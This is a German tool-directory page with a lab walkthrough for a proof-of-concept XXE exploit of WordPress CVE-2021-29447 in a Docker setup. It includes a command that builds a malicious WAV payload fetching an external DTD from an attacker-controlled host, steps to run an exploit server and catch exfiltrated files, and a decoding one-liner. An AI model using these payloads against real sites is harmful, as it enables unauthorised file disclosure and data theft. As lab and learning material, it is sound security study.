Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-29447-PoC — Proof-of-concept-Exploit für CVE-2021-29447, eine XXE-Injektions-Schwachstelle in WordPress 5.6–5.7 durch bösartiges Hochladen einer WAV-Datei, die die Offenlegung beliebiger Dateien auf PHP 8.0+ ermöglicht. | Kitploit
Tools/GitHubGitHub/rdana55/cve-2021-29447-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsLernen & Bildung
GitHubrdana55/cve-2021-29447-poc

CVE-2021-29447-PoC

Proof-of-concept-Exploit für CVE-2021-29447, eine XXE-Injektions-Schwachstelle in WordPress 5.6–5.7 durch bösartiges Hochladen einer WAV-Datei, die die Offenlegung beliebiger Dateien auf PHP 8.0+ ermöglicht.

Repository anzeigen
vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-29447-PoC

Übersicht

CVE-2021-29447 ist eine XML-External-Entity-(XXE)-Injection-Schwachstelle, die WordPress-Versionen 5.6–5.7 betrifft (gepatcht in 5.7.1), wenn PHP 8.0+ ausgeführt wird. Die Schwachstelle befindet sich in der getID3-Bibliothek, die zum Parsen von Medienmetadaten verwendet wird.

WordPress verarbeitet iXML-Chunks von WAV-Dateien über getID3, das simplexml_load_string() mit dem LIBXML_NOENT-Flag aufruft. Dieses Flag aktiviert explizit die Substitution externer Entitäten und umgeht die standardmäßigen XXE-Schutzmaßnahmen von PHP 8 (veraltet libxml_disable_entity_loader()).

  1. Authentifizierter Benutzer (Autor+) lädt bösartige WAV-Datei hoch
  2. getID3 → iXML chunk → simplexml_load_string(XXE_PAYLOAD, LIBXML_NOENT)
  3. Externer DTD-Abruf → PHP data://-Wrapper → Offenlegung beliebiger Dateien

Proof-of-Concept Einrichtung

Dieser PoC demonstriert die Schwachstelle unter Verwendung von Dockerized WordPress 5.7 + PHP 8.0.3. Linux-Benutzer können ein Einzeldatei-Skript verwenden, das auch die WAV/DTD-Dateien generiert.

▶️: https://youtu.be/YnGowuWHFyY

Voraussetzungen & Umgebungseinrichtung

  1. Installieren Sie Docker Desktop auf dem Windows-Host

  2. Erstellen Sie ein dediziertes Projektverzeichnis (alle PowerShell-Befehle werden hier ausgeführt):

    root@kitploit:~
     #powershell
    mkdir cve-2021-29447-poc
     cd cve-2021-29447-poc
    
  3. Stellen Sie das verwundbare WordPress bereit:

    root@kitploit:~
     #powershell
     notepad docker-compose.yml
    

    Kopieren und fügen Sie den Inhalt von docker-compose.yml ein

  4. Starten Sie die Container:

    root@kitploit:~
     #powershell
     docker-compose up -d
    
  5. Deaktivieren Sie automatische Updates (entscheidend für die Aufrechterhaltung der Schwachstelle):

    root@kitploit:~
     #powershell
     docker-compose exec wordpress bash
    
     #bash
     sed -i "s/WP_AUTO_UPDATE_CORE', true/WP_AUTO_UPDATE_CORE', false/g" /var/www/html/wp-config-sample.php
    
     echo "define('AUTOMATIC_UPDATER_DISABLED', true);" >> /var/www/html/wp-config-sample.php
     echo "define('WP_AUTO_UPDATE_CORE', false);" >> /var/www/html/wp-config-sample.php
    
     tail -5 /var/www/html/wp-config-sample.php
     exit
    
  6. Überprüfen Sie die verwundbaren Versionen:

    root@kitploit:~
     #powershell
     docker-compose exec wordpress bash -c "grep wp_version /var/www/html/wp-includes/version.php && php -v"
    

    Erwartet: WordPress 5.7, PHP 8.0+

  7. WordPress-Installation:

    Navigieren Sie zu: http://localhost:8080

    Admin: test / test / [email protected]

    Schließen Sie die Einrichtung ab → Zugriff auf /wp-admin

  8. Ermittlung der Angreifer-IP:

    root@kitploit:~
     #powershell
     ipconfig | findstr IPv4
    

    Notieren Sie Ihre IP (z.B. 192.168.1.196)

Generierung der Exploit-Payload

  1. Erstellen Sie die DTD-Payload:

    root@kitploit:~
     #powershell
     notepad evil.dtd
    

    Kopieren und fügen Sie den Inhalt von evil.dtd ein

  2. Generieren Sie die WAV-Payload (Linux CLI):

    root@kitploit:~
    #bash
     echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:PORT/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
    

    Übertragen Sie über python3 -m http.server 8000 → Download im Windows-Browser (z.B. http://<VM_IP>:8000)

    Hinweis: WAV wurde aufgrund der Komplexität des Binär-Escapings in Windows-Umgebungen separat erstellt

  3. Stellen Sie den Exploit-Server bereit:

    root@kitploit:~
     #powershell
     notepad exploit.py
    

    Kopieren und fügen Sie den Inhalt von exploit.py ein

    Befehl:

    root@kitploit:~
     #powershell
     python exploit.py -l YOUR_IP -p PORT 
    

Ausnutzung

  1. XXE auslösen:

    http://localhost:8080/wp-admin → Medien → Neue Datei hinzufügen

    Laden Sie payload.wav hoch

  2. Überwachen Sie die Python-Server-Konsole → erfassen Sie exfiltrierte Daten

  3. Dekodieren Sie die Base64+Zlib-Payload:

    root@kitploit:~
     #powershell
     $bd='PASTE_BASE64_HERE';$bytes=[Convert]::FromBase64String($bd);$decoded=[System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new($bytes,$false),[System.IO.Compression.CompressionMode]::Decompress);[System.IO.StreamReader]::new($decoded).ReadToEnd()
    

Gegenmaßnahmen

Aktualisieren Sie auf WordPress 5.7.1+ oder deaktivieren Sie LIBXML_NOENT in der getID3-Parsing.

Tool herunterladen